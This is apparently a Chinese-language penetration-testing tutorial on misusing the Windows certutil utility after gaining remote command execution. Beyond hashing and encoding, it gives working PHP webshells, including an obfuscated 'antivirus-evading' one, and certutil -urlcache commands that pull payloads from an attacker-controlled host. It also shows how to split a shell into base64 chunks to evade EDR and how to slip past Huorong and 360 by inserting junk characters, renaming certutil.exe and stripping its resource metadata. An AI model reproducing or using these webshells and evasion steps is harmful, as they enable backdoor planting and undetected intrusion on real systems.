3had0w2024-01-23文章来源:SecHub网络安全社区
它在我们C盘下的C:\Windows\System32\
下,所以我们可以直接调用它
查看一下帮助手册
Certutil是一个CLI程序,可用于转储和显示证书颁发机构(CA),配置信息,证书服务,CA组件的备份和还原以及验证证书,密钥对和证书链,它作为证书服务的一部分安装
校验和对比文件MD5
certutil -hashfile file md5/sha1/sha256
获取数据并传递固定长度的输出字符串。使用哈希加密算法,例如MD5,SHA-1,SHA-256,可以验证两个文件是否相同。该校验和用于执行检查的散列值的数据完整性,这是一种文件签名。通过比较校验和,我们可以识别重复文件。
我们现在创建两个文件 1.txt 2.txt
这两个文件的md5一样 所以这两个文件是相同的
可以使用certutil对可执行文件或者可读文件进行编码。然后传输编码后的数据,然后在接收机上对其进行解码。
certutil -encode/-decode src_file des_file
certutil -encodehex/-decodehex src_file des_file
要注意的是 不能保存为已经存在的文件 不能覆盖
certutil可以在互联网上下载文件,这也是我们内网渗透中常用的下载方式之一
certutil -urlcache -f -split http://.....
在windows中我们会遇见一些情况,比如我们拿到了一个系统的RCE,或者 xp_cmdshell 能够任意命令执行了,但是想要进一步渗透的话,就要上一些webshell或者明星远控了。
所以我们需要去传输一个脚本文件或者一个可执行文件,比如exe dll等二进制的文件,这个时候certutil就有很大的作用了。
比如我们现在有个1.php的文件
<?php
echo `$_REQUEST[1]`;
?>
很简单的一个RCE,然后我们开始写webshell或者上明星远控
先找一下目录
这里有两种方法写马
echo ^<?php @eval($_POST[1]);;?^> > 1.txt
^
来转义尖括号,不然会报错,当我们写蚁剑的一句话的时候可以这样写。
但是当我们写冰蝎或者哥斯拉的马的时候因为要转义的很多,加上文件也很大,而且需要免杀就避不开文件很大而且特殊符号有点多的情况,所以我们要看当前服务器的杀软情况选择使用的方法
certutil -urlcache -f -split http://...../test1.php
这种方法的优点就是不用去管转义和文件大小、命令的长度,直接拉取文件到本地。
上明星远控的方法和这个一样,我们可以去分段的传输exe dll,或者php、asp、jsp等脚本文件。
<?php
Class AJWDBHWSJXWSXXWDJWD{
function sadsadsadwadswad($ADJKAHSKJDHCSCDWD)
{
$dasdasdwacdsbvwr=str_rot13(__FILE__);
$sdadadad=str_replace("!","s",str_rot13($dasdasdwacdsbvwr));
$DASDADAJHDKQJHGDJWGDJHQWGDWJDH=substr($sdadadad,24,6);
@$DASDADAJHDKQJHGDJWGDJHQWGDWJDH($ADJKAHSKJDHCSCDWD);
}
}
$sdakdnajkwd='dawdawdascasvfasfda';
$$sdakdnajkwd=$_REQUEST[1];
$tttttttttttttttttttttttttttttttttttttttttttt=new AJWDBHWSJXWSXXWDJWD();
$tttttttttttttttttttttttttttttttttttttttttttt->sadsadsadwadswad($dawdawdascasvfasfda);
?>
我这里有一个免杀的php小马 想要分段传输避免直接被杀软edr检测到被杀。
先用certutil编码然后拆分。
先拆分为两个文件,当然1可以拆解为两个以上,这里只是做一个示范作用
先把这个文件base64编码到本地,然后再解码
certutil -urlcache -f -split http://...../php1.txt
certutil -urlcache -f -split http://...../php2.txt
然后保存到一起解码
certutil -decode php.txt php.php
这个对exe文件一样生效
这样就避免了我们需要大量转义或者传输大文件 危险文件的问题了
当然这么好的渗透工具也是各大杀软保护的对象 我们这里就对抗两种杀软
火绒 360 (defender也可以)
先试试过火绒 可以看到他是识别了certutil才拦截的 我们可以尝试一下加点无用字符
@ ;,^ "
等等
;,certutil -u""""r""l""""c"ac""he -f -split http://...../php2.txt
好吧还是会察觉到 我们还可以换一个路径 这个默认是调用system32目录下面的exe
copy C:\Windows\System32\certutil.exe 1.exe
1 -urlcache -f -split http://192.168.206.129:8888/1.txt
可以看见火绒已经不拦截了
我们先试一下过火绒的方法能不能过掉360
并不能,可以看出来:当我们换一个路径的时候,他还是能识别出来这个certutil,所以我们尝试一下删除它的详细信息
这里推荐一个工具ResoucreHacker
把这段给删除掉在换一个icon
然后再试一下看看是否拦截
发现已经不拦截了